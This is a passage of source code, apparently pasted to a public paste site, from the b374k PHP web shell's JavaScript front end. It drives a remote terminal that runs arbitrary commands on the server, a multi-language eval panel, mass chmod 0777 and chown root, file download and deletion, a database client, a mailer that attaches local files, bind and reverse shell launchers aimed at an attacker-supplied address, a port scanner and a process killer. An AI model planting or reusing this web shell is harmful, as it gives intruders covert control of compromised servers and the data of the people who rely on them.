  3820. massBuffer = '';
  3821. for(var i=0;i<bufferLength;i++){
  3822. if((buff = localStorage.getItem('buffer_'+i))){
  3823. massBuffer += buff + '\n';
  3824. }
  3825. }
  3826. massBuffer = $.trim(massBuffer);
  3827.  
  3828. if(bufferAction=='cut') title = 'move';
  3829. else if(bufferAction=='copy') title = 'copy';
  3830.  
  3831. content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";
  3832. show_box(ucfirst(title), content);
  3833. }
  3834.  
  3835. }
  3836. else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
  3837. if(type=='extract (tar)') arcType = 'untar';
  3838. else if(type=='extract (tar.gz)') arcType = 'untargz';
  3839. else if(type=='extract (zip)') arcType = 'unzip';
  3840.  
  3841. if(buffer.length>0){
  3842. massBuffer = '';
  3843. $.each(buffer,function(i,v){
  3844. massBuffer += v + '\n';
  3845. });
  3846. massBuffer = $.trim(massBuffer);
  3847. title = type;
  3848.  
  3849. content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";
  3850. show_box(ucfirst(title), content);
  3851. }
  3852. }
  3853. else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
  3854. date = new Date();
  3855. rand = date.getTime();
  3856. if(type=='compress (tar)'){
  3857. arcType = 'tar';
  3858. arcFilename = rand+'.tar';
  3859. }
  3860. else if(type=='compress (tar.gz)'){
  3861. arcType = 'targz';
  3862. arcFilename = rand+'.tar.gz';
  3863. }
  3864. else if(type=='compress (zip)'){
  3865. arcType = 'zip';
  3866. arcFilename = rand+'.zip';
  3867. }
  3868.  
  3869. if(buffer.length>0){
  3870. massBuffer = '';
  3871. $.each(buffer,function(i,v){
  3872. massBuffer += v + '\n';
  3873. });
  3874. massBuffer = $.trim(massBuffer);
  3875. title = type;
  3876.  
  3877. content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";
  3878. show_box(ucfirst(title), content);
  3879. }
  3880. }
  3881. else if(type!=''){
  3882. if(buffer.length>0){
  3883. massBuffer = '';
  3884. $.each(buffer,function(i,v){
  3885. massBuffer += v + '\n';
  3886. });
  3887. massBuffer = $.trim(massBuffer);
  3888. title = type;
  3889. line = '';
  3890. if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3891. else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3892. else if(type=='touch'){
  3893. var now = new Date();
  3894. line = "<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3895. }
  3896.  
  3897. content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";
  3898. show_box(ucfirst(title), content);
  3899. }
  3900. }
  3901.  
  3902. $('.cBoxSelected').removeClass('cBoxSelected');
  3903. xpl_update_status();
  3904. }
  3905.  
  3906. function mass_act_go_tar(){
  3907. mass_act_go('tar');
  3908. }
  3909.  
  3910. function mass_act_go_targz(){
  3911. mass_act_go('targz');
  3912. }
  3913.  
  3914. function mass_act_go_zip(){
  3915. mass_act_go('zip');
  3916. }
  3917.  
  3918. function mass_act_go_untar(){
  3919. mass_act_go('untar');
  3920. }
  3921.  
  3922. function mass_act_go_untargz(){
  3923. mass_act_go('untargz');
  3924. }
  3925.  
  3926. function mass_act_go_unzip(){
  3927. mass_act_go('unzip');
  3928. }
  3929.  
  3930. function mass_act_go_paste(){
  3931. mass_act_go('paste');
  3932. }
  3933.  
  3934. function mass_act_go_chmod(){
  3935. mass_act_go('chmod');
  3936. }
  3937.  
  3938. function mass_act_go_chown(){
  3939. mass_act_go('chown');
  3940. }
  3941.  
  3942. function mass_act_go_touch(){
  3943. mass_act_go('touch');
  3944. }
  3945.  
  3946. function mass_act_go(massType){
  3947. massBuffer = $.trim($('.massBuffer').val());
  3948. massPath = get_cwd();
  3949. massValue = '';
  3950. if(massType=='paste'){
  3951. bufferLength = localStorage.getItem('bufferLength');
  3952. bufferAction = localStorage.getItem('bufferAction');
  3953. if(bufferLength>0){
  3954. massBuffer = '';
  3955. for(var i=0;i<bufferLength;i++){
  3956. if((buff = localStorage.getItem('buffer_'+i))){
  3957. massBuffer += buff + '\n';
  3958. }
  3959. }
  3960. massBuffer = $.trim(massBuffer);
  3961. if(bufferAction=='copy') massType = 'copy';
  3962. else if(bufferAction=='cut') massType = 'cut';
  3963. }
  3964. }
  3965. else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
  3966. massValue = $('.massValue').val();
  3967. }
  3968. else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
  3969. massValue = $('.massValue').val();
  3970. }
  3971. else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
  3972. massValue = $('.massValue').val();
  3973. }
  3974.  
  3975.  
  3976. if(massBuffer!=''){
  3977. send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue }, function(res){
  3978. if(res!='error'){
  3979. $('.boxresult').html(res+' Operation(s) succeeded');
  3980. }
  3981. else $('.boxresult').html('Operation(s) failed');
  3982. navigate(get_cwd());
  3983. });
  3984. }
  3985. }
  3986.  
  3987. function xpl_update_status(){
  3988. totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
  3989. if(totalSelected==0) $('.xplSelected').html('');
  3990. else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
  3991. }
  3992.  
  3993.  
  3994. function xpl_bind(){
  3995. $('.navigate').off('click');
  3996. $('.navigate').on('click', function(e){
  3997. path = xpl_href($(this));
  3998. navigate(path);
  3999. hide_box();
  4000. });
  4001.  
  4002. $('.navbar').off('click');
  4003. $('.navbar').on('click', function(e){
  4004. path = $(this).attr('data-path');
  4005. navigate(path);
  4006. hide_box();
  4007. });
  4008.  
  4009. $('.newfolder').off('click');
  4010. $('.newfolder').on('click', function(e){
  4011. path = html_safe(xpl_href($(this)));
  4012. newfolder(path);
  4013. });
  4014.  
  4015. $('.newfile').off('click');
  4016. $('.newfile').on('click', function(e){
  4017. path = html_safe(xpl_href($(this)));
  4018. newfile(path);
  4019. });
  4020.  
  4021. $('.del').off('click');
  4022. $('.del').on('click', function(e){
  4023. path = html_safe(xpl_href($(this)));
  4024. del(path);
  4025. });
  4026.  
  4027. $('.view').off('click');
  4028. $('.view').on('click', function(e){
  4029. path = xpl_href($(this));
  4030. view(path, 'auto');
  4031. hide_box();
  4032. });
  4033.  
  4034. $('.hex').off('click');
  4035. $('.hex').on('click', function(e){
  4036. path = xpl_href($(this));
  4037. view(path, 'hex');
  4038. });
  4039.  
  4040. $('#viewFullsize').off('click');
  4041. $('#viewFullsize').on('click', function(e){
  4042. src = $('#viewImage').attr('src');
  4043. window.open(src);
  4044. });
  4045.  
  4046. $('.edit').off('click');
  4047. $('.edit').on('click', function(e){
  4048. path = xpl_href($(this));
  4049. view(path, 'edit');
  4050. hide_box();
  4051. });
  4052.  
  4053. $('.ren').off('click');
  4054. $('.ren').on('click', function(e){
  4055. path = html_safe(xpl_href($(this)));
  4056. ren(path);
  4057. });
  4058.  
  4059. $('.action').off('click');
  4060. $('.action').on('click', function(e){
  4061. path = html_safe(xpl_href($(this)));
  4062. action(path, 'file');
  4063. });
  4064.  
  4065. $('.actionfolder').off('click');
  4066. $('.actionfolder').on('click', function(e){
  4067. path = html_safe(xpl_href($(this)));
  4068. action(path, 'dir');
  4069. });
  4070.  
  4071. $('.actiondot').off('click');
  4072. $('.actiondot').on('click', function(e){
  4073. path = html_safe(xpl_href($(this)));
  4074. action(path, 'dot');
  4075. });
  4076.  
  4077. $('.dl').off('click');
  4078. $('.dl').on('click', function(e){
  4079. path = html_safe(xpl_href($(this)));
  4080. $('#form').append("<input type='hidden' name='download' value='"+path+"'>");
  4081. $('#form').submit();
  4082. $('#form').html('');
  4083. hide_box();
  4084. });
  4085.  
  4086. $('.ul').off('click');
  4087. $('.ul').on('click', function(e){
  4088. path = xpl_href($(this));
  4089. navigate(path, false);
  4090. path = html_safe(path);
  4091. ul(path);
  4092. hide_box();
  4093. });
  4094.  
  4095. $('.find').off('click');
  4096. $('.find').on('click', function(e){
  4097. path = xpl_href($(this));
  4098. navigate(path, false);
  4099. path = html_safe(path);
  4100. find(path);
  4101. hide_box();
  4102. });
  4103.  
  4104. $('#massAction').off('click');
  4105. $('#massAction').on('change', function(e){
  4106. type = $('#massAction').val();
  4107. mass_act(type);
  4108. $('#massAction').val('Action');
  4109. });
  4110.  
  4111. cbox_bind('xplTable','xpl_update_status');
  4112. }
  4113.  
  4114. function xpl_href(el){
  4115. return el.parent().parent().attr('data-path');
  4116. }
  4117.  
  4118. function multimedia(path){
  4119. var a = $('video').get(0);
  4120. send_post({multimedia:path}, function(res){
  4121. a.src = res;
  4122. });
  4123. hide_box();
  4124. }
  4125.  
  4126. $('#terminalInput').on('keydown', function(e){
  4127. if(e.keyCode==13){
  4128. cmd = $('#terminalInput').val();
  4129. terminalHistory.push(cmd);
  4130. terminalHistoryPos = terminalHistory.length;
  4131. if(cmd=='clear'||cmd=='cls'){
  4132. $('#terminalOutput').html('');
  4133. }
  4134. else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
  4135. path = $.trim(path[1]);
  4136. navigate(path);
  4137. }
  4138. else if(cmd!=''){
  4139. send_post({ terminalInput: cmd }, function(res){
  4140. cwd = html_safe(get_cwd());
  4141. res = '<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe(cmd)+ '\n' + res+'\n';
  4142. $('#terminalOutput').append(res);
  4143. bottom = $(document).height()-$(window).height();
  4144. $(window).scrollTop(bottom);
  4145. });
  4146. }
  4147. $('#terminalInput').val('');
  4148. setTimeout("$('#terminalInput').focus()",100);
  4149. }
  4150. else if(e.keyCode==38){
  4151. if(terminalHistoryPos>0){
  4152. terminalHistoryPos--;
  4153. $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
  4154. if(terminalHistoryPos<0) terminalHistoryPos = 0;
  4155. }
  4156. }
  4157. else if(e.keyCode==40){
  4158. if(terminalHistoryPos<terminalHistory.length-1){
  4159. terminalHistoryPos++;
  4160. $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
  4161. if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos = terminalHistory.length;
  4162. }
  4163. }
  4164. fix_tabchar(this, e);
  4165. });
  4166.  
  4167.  
  4168.  
  4169. function eval_go(){
  4170. evalType = $('#evalType').val();
  4171. evalInput = $('#evalInput').val();
  4172. evalOptions = $('#evalOptions').val();
  4173. evalArguments = $('#evalArguments').val();
  4174.  
  4175. if(evalOptions=='Options/Switches') evalOptions = '';
  4176. if(evalArguments=='Arguments') evalArguments = '';
  4177.  
  4178. if($.trim(evalInput)!=''){
  4179. send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
  4180. function(res){
  4181. if(res!='error'){
  4182. splits = res.split('{[|b374k|]}');
  4183. if(splits.length==2){
  4184. output = splits[0]+"<hr>"+splits[1];
  4185. $('#evalOutput').html(output);
  4186. }
  4187. else{
  4188. $('#evalOutput').html(res);
  4189. }
  4190. }
  4191. }
  4192. );
  4193. }
  4194. }
  4195.  
  4196. function eval_init(){
  4197. if((evalSupported = localStorage.getItem('evalSupported'))){
  4198. eval_bind();
  4199. output("eval : "+evalSupported);
  4200. evalReady = true;
  4201. }
  4202. else{
  4203. send_post({evalGetSupported:"evalGetSupported"}, function(res){
  4204. evalReady = true;
  4205. if(res!="error"){
  4206. localStorage.setItem('evalSupported', res);
  4207. evalSupported = res;
  4208. eval_bind();
  4209. output("eval : "+evalSupported);
  4210. }
  4211. });
  4212. }
  4213. }
  4214.  
  4215. function eval_bind(){
  4216. if((evalSupported!=null)&&(evalSupported!='')){
  4217. splits = evalSupported.split(",");
  4218. $.each(splits, function(i, k){
  4219. $('#evalType').append("<option>"+k+"</option>");
  4220. });
  4221. }
  4222. $('#evalType').on('change', function(e){
  4223. if($('#evalType').val()=='php'){
  4224. $('#evalAdditional').hide();
  4225. }
  4226. else{
  4227. $('#evalAdditional').show();
  4228. }
  4229. });
  4230. $('#evalOptions').on('focus', function(e){
  4231. options = $('#evalOptions');
  4232. if(options.val()=='Options/Switches') options.val('');
  4233. });
  4234. $('#evalOptions').on('blur', function(e){
  4235. options = $('#evalOptions');
  4236. if($.trim(options.val())=='') options.val('Options/Switches');
  4237. });
  4238. $('#evalArguments').on('focus', function(e){
  4239. args = $('#evalArguments');
  4240. if(args.val()=='Arguments') args.val('');
  4241. });
  4242. $('#evalArguments').on('blur', function(e){
  4243. args = $('#evalArguments');
  4244. if($.trim(args.val())=='') args.val('Arguments');
  4245. });
  4246.  
  4247. $('#evalInput').on('keydown', function(e){
  4248. if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4249. eval_go();
  4250. }
  4251. fix_tabchar(this, e);
  4252. });
  4253. }
  4254. Zepto(function($){
  4255. $('#decodeStr').on('keydown', function(e){
  4256. if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4257. decode_go();
  4258. }
  4259. fix_tabchar(this, e);
  4260. });
  4261. });
  4262.  
  4263. function decode_go(){
  4264. decodeStr = $('#decodeStr').val();
  4265. send_post({decodeStr:decodeStr}, function(res){
  4266. if(res!='error'){
  4267. $('#decodeResult').html('');
  4268. $('#decodeResult').html(res);
  4269. }
  4270. });
  4271. }
  4272.  
  4273.  
  4274. Zepto(function($){
  4275. db_init();
  4276.  
  4277. });
  4278.  
  4279. var dbSupported = "";
  4280. var dbPageLimit = 50;
  4281.  
  4282. function db_init(){
  4283. if((dbSupported = localStorage.getItem('db_supported'))){
  4284. db_bind();
  4285. output("db : "+dbSupported);
  4286. db_add_supported();
  4287. }
  4288. else{
  4289. send_post({dbGetSupported:""}, function(res){
  4290. if(res!="error"){
  4291. localStorage.setItem('dbSupported', res);
  4292. dbSupported = res;
  4293. db_bind();
  4294. output("db : "+dbSupported);
  4295. db_add_supported();
  4296. }
  4297. });
  4298. }
  4299. }
  4300.  
  4301. function db_add_supported(){
  4302. splits = dbSupported.split(",");
  4303. $.each(splits, function(i, k){
  4304. $('#dbType').append("<option>"+k+"</option>");
  4305. });
  4306. }
  4307.  
  4308. function db_bind(){
  4309. $('#dbType').on('change', function(e){
  4310. type = $('#dbType').val();
  4311. if((type=='odbc')||(type=='pdo')){
  4312. $('.dbHostLbl').html('DSN / Connection String');
  4313. $('.dbUserRow').show();
  4314. $('.dbPassRow').show();
  4315. $('.dbPortRow').hide();
  4316.  
  4317. }
  4318. else if((type=='sqlite')||(type=='sqlite3')){
  4319. $('.dbHostLbl').html('DB File');
  4320. $('.dbUserRow').hide();
  4321. $('.dbPassRow').hide();
  4322. $('.dbPortRow').hide();
  4323.  
  4324. }
  4325. else{
  4326. $('.dbHostLbl').html('Host');
  4327. $('.dbUserRow').show();
  4328. $('.dbPassRow').show();
  4329. $('.dbPortRow').show();
  4330. }
  4331. });
  4332.  
  4333. $('#dbQuery').on('focus', function(e){
  4334. if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
  4335. $('#dbQuery').val('');
  4336. }
  4337. });
  4338. $('#dbQuery').on('blur', function(e){
  4339. if($('#dbQuery').val()==''){
  4340. $('#dbQuery').val('You can also press ctrl+enter to submit');
  4341. }
  4342. });
  4343. $('#dbQuery').on('keydown', function(e){
  4344. if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4345. db_run();
  4346. }
  4347. });
  4348. }
  4349.  
  4350. function db_nav_bind(){
  4351. dbType = $('#dbType').val();
  4352. $('.boxNav').off('click');
  4353. $('.boxNav').on('click', function(){
  4354. $(this).next().toggle();
  4355. });
  4356.  
  4357. $('.dbTable').off('click');
  4358. $('.dbTable').on('click', function(){
  4359. type = $('#dbType').val();
  4360. table = $(this).html();
  4361. db = $(this).parent().parent().parent().prev().html();
  4362. db_query_tbl(type, db, table, 0, dbPageLimit);
  4363. });
  4364. }
  4365.  
  4366. function db_connect(){
  4367. dbType = $('#dbType').val();
  4368. dbHost = $('#dbHost').val();
  4369. dbUser = $('#dbUser').val();
  4370. dbPass = $('#dbPass').val();
  4371. dbPort = $('#dbPort').val();
  4372. send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){
  4373. if(res!='error'){
  4374. $('#dbNav').html(res);
  4375. $('.dbHostRow').hide();
  4376. $('.dbUserRow').hide();
  4377. $('.dbPassRow').hide();
  4378. $('.dbPortRow').hide();
  4379. $('.dbConnectRow').hide();
  4380. $('.dbQueryRow').show();
  4381. $('#dbBottom').show();
  4382. db_nav_bind();
  4383. }
  4384. else $('.dbError').html('Unable to connect');
  4385. });
  4386. }
  4387.  
  4388. function db_disconnect(){
  4389. $('.dbHostRow').show();
  4390. $('.dbUserRow').show();
  4391. $('.dbPassRow').show();
  4392. $('.dbPortRow').show();
  4393. $('.dbConnectRow').show();
  4394. $('.dbQueryRow').hide();
  4395. $('#dbNav').html('');
  4396. $('#dbResult').html('');
  4397. $('#dbBottom').hide();
  4398. }
  4399.  
  4400. function db_run(){
  4401. dbType = $('#dbType').val();
  4402. dbHost = $('#dbHost').val();
  4403. dbUser = $('#dbUser').val();
  4404. dbPass = $('#dbPass').val();
  4405. dbPort = $('#dbPort').val();
  4406. dbQuery = $('#dbQuery').val();
  4407.  
  4408. if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
  4409. send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){
  4410. if(res!='error'){
  4411. $('#dbResult').html(res);
  4412. $('.tblResult').each(function(){
  4413. sorttable.k(this);
  4414. });
  4415. }
  4416. });
  4417. }
  4418. }
  4419.  
  4420. function db_query_tbl(type, db, table, start, limit){
  4421. dbType = $('#dbType').val();
  4422. dbHost = $('#dbHost').val();
  4423. dbUser = $('#dbUser').val();
  4424. dbPass = $('#dbPass').val();
  4425. dbPort = $('#dbPort').val();
  4426.  
  4427. send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
  4428. if(res!='error'){
  4429. $('#dbResult').html(res);
  4430. $('.tblResult').each(function(){
  4431. sorttable.k(this);
  4432. });
  4433. }
  4434. });
  4435. }
  4436.  
  4437. function db_pagination(type){
  4438. db = $('#dbDB').val();
  4439. table = $('#dbTable').val();
  4440. start = parseInt($('#dbStart').val());
  4441. limit = parseInt($('#dbLimit').val());
  4442. dbType = $('#dbType').val();
  4443.  
  4444. if(type=='next'){
  4445. start = start+limit;
  4446. }
  4447. else if(type=='prev'){
  4448. start = start-limit;
  4449. if(start<0) start = 0;
  4450. }
  4451. db_query_tbl(dbType, db, table, start, limit);
  4452. }
  4453.  
  4454. Zepto(function($){
  4455. info_init();
  4456.  
  4457. });
  4458.  
  4459. function info_init(){
  4460. if((infoResult = localStorage.getItem('infoResult'))){
  4461. $('.infoResult').html(infoResult);
  4462. }
  4463. else{
  4464. info_refresh();
  4465. }
  4466. }
  4467.  
  4468. function info_toggle(id){
  4469. $('#'+id).toggle();
  4470. }
  4471.  
  4472. function info_refresh(){
  4473. send_post({infoRefresh:'infoRefresh'}, function(res){
  4474. $('.infoResult').html(res);
  4475. localStorage.setItem('infoResult', res);
  4476. });
  4477. }
  4478.  
  4479. Zepto(function($){
  4480.  
  4481. });
  4482.  
  4483. function mail_send(){
  4484. mailFrom = $.trim($('#mailFrom').val());
  4485. mailTo = $.trim($('#mailTo').val());
  4486. mailSubject = $.trim($('#mailSubject').val());
  4487. mailContent = $('#mailContent').val();
  4488. mailAttachment = '';
  4489. if($('.mailAttachment')){
  4490. mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}');
  4491. }
  4492.  
  4493. send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){
  4494. $('#mailResult').html(res);
  4495. });
  4496. }
  4497.  
  4498. function mail_attach(){
  4499. content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
  4500. $('#mailTBody').append(content);
  4501. }
  4502.  
  4503. Zepto(function($){
  4504. rs_init();
  4505.  
  4506. });
  4507.  
  4508. function rs_init(){
  4509. if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
  4510. splits = evalSupported.split(",");
  4511. $.each(splits, function(i, k){
  4512. $('.rsType').append("<option>"+k+"</option>");
  4513. });
  4514. }
  4515. else setTimeout('rs_init()', 1000);
  4516.  
  4517. $('#packetContent').on('keydown', function(e){
  4518. if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4519. packet_go();
  4520. }
  4521. fix_tabchar(this, e);
  4522. });
  4523. }
  4524.  
  4525. function rs_go_bind(){
  4526. rs_go('bind');
  4527. }
  4528. function rs_go_back(){
  4529. rs_go('back');
  4530. }
  4531.  
  4532. function rs_go(rsType){
  4533. rsArgs = "";
  4534. if(rsType=='bind'){
  4535. rsPort = parseInt($('#bindPort').val());
  4536. rsLang = $('#bindLang').val();
  4537. rsArgs = rsPort;
  4538. rsResult = $('#bindResult');
  4539. }
  4540. else if(rsType=='back'){
  4541. rsAddr = $('#backAddr').val();
  4542. rsPort = parseInt($('#backPort').val());
  4543. rsLang = $('#backLang').val();
  4544. rsArgs = rsPort + ' ' + rsAddr;
  4545. rsResult = $('#backResult');
  4546. }
  4547.  
  4548. if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
  4549. rsResult.html('Invalid port');
  4550. return;
  4551. }
  4552.  
  4553. if(rsArgs!=''){
  4554. send_post({ rsLang:rsLang, rsArgs:rsArgs },
  4555. function(res){
  4556. if(res!='error'){
  4557. splits = res.split('{[|b374k|]}');
  4558. if(splits.length==2){
  4559. output = splits[0]+"<hr>"+splits[1];
  4560. rsResult.html(output);
  4561. }
  4562. else{
  4563. rsResult.html(res);
  4564. }
  4565. }
  4566. }
  4567. );
  4568. }
  4569. }
  4570.  
  4571. function packet_go(){
  4572. packetHost = $('#packetHost').val();
  4573. packetStartPort = parseInt($('#packetStartPort').val());
  4574. packetEndPort = parseInt($('#packetEndPort').val());
  4575. packetTimeout = parseInt($('#packetTimeout').val());
  4576. packetSTimeout = parseInt($('#packetSTimeout').val());
  4577. packetContent = $('#packetContent').val();
  4578. packetResult = $('#packetResult');
  4579. packetStatus = $('#packetStatus');
  4580.  
  4581. if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
  4582. packetResult.html('Invalid start port');
  4583. return;
  4584. }
  4585. if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
  4586. packetResult.html('Invalid end port');
  4587. return;
  4588. }
  4589. if((isNaN(packetTimeout))||(packetTimeout<=0)){
  4590. packetResult.html('Invalid connection timeout');
  4591. return;
  4592. }
  4593. if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
  4594. packetResult.html('Invalid stream timeout');
  4595. return;
  4596. }
  4597.  
  4598. if(packetStartPort>packetEndPort){
  4599. start = packetEndPort;
  4600. end = packetStartPort;
  4601. }
  4602. else{
  4603. start = packetStartPort;
  4604. end = packetEndPort;
  4605. }
  4606.  
  4607. packetResult.html('');
  4608. while(start<=end){
  4609. packetPort = start++;
  4610. packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");
  4611. packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);
  4612.  
  4613. }
  4614. }
  4615.  
  4616. function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){
  4617. send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){
  4618. $('#packet'+packetPort).html(res);
  4619. }, false);
  4620. }
  4621.  
  4622. Zepto(function($){
  4623. show_processes();
  4624. });
  4625.  
  4626. function show_processes(){
  4627. send_post({showProcesses:''}, function(res){
  4628. if(res!='error'){
  4629. $('#processes').html(res);
  4630. sorttable.k($('#psTable').get(0));
  4631. ps_bind();
  4632. }
  4633. });
  4634. }
  4635.  
  4636. function ps_bind(){
  4637. $('.kill').off('click');
  4638. $('.kill').on('click', function(e){
  4639. kill_pid(ps_get_pid($(this)));
  4640. });
  4641.  
  4642.  
  4643. cbox_bind('psTable','ps_update_status');
  4644. }
  4645.  
  4646. function ps_get_pid(el){
  4647. return el.parent().parent().attr('data-pid');
  4648. }
  4649.  
  4650. function ps_update_status(){
  4651. totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
  4652. if(totalSelected==0) $('.psSelected').html('');
  4653. else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
  4654. }
  4655.  
  4656. function kill_selected(){
  4657. buffer = get_all_cbox_selected('psTable', 'ps_get_pid');
  4658.  
  4659. allPid = '';
  4660. $.each(buffer,function(i,v){
  4661. allPid += v + ' ';
  4662. });
  4663. allPid = $.trim(allPid);
  4664. kill_pid(allPid);
  4665. }
  4666.  
  4667. function kill_pid(allPid){
  4668. title = 'Kill';
  4669. content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
  4670. show_box(title, content);
  4671. }
  4672.  
  4673. function kill_pid_go(){
  4674. allPid = $('.allPid').val();
  4675. if($.trim(allPid)!=''){
  4676. send_post({allPid:allPid}, function(res){
  4677. if(res!='error'){
  4678. $('.boxresult').html(res + ' process(es) killed');
  4679. }
  4680. else $('.boxresult').html('Unable to kill process(es)');
  4681. show_processes();
  4682. });
  4683. }
  4684. }
  4685.  
  4686.  
  4687. <?php
  4688. foreach($GLOBALS['module_to_load'] as $k){
  4689. echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }\n";
  4690. }
  4691. ?>
  4692. </script>
  4693. <!--script end-->
  4694. </body>
  4695. </html><?php die();?>
Add Comment
Please, Sign In to add comment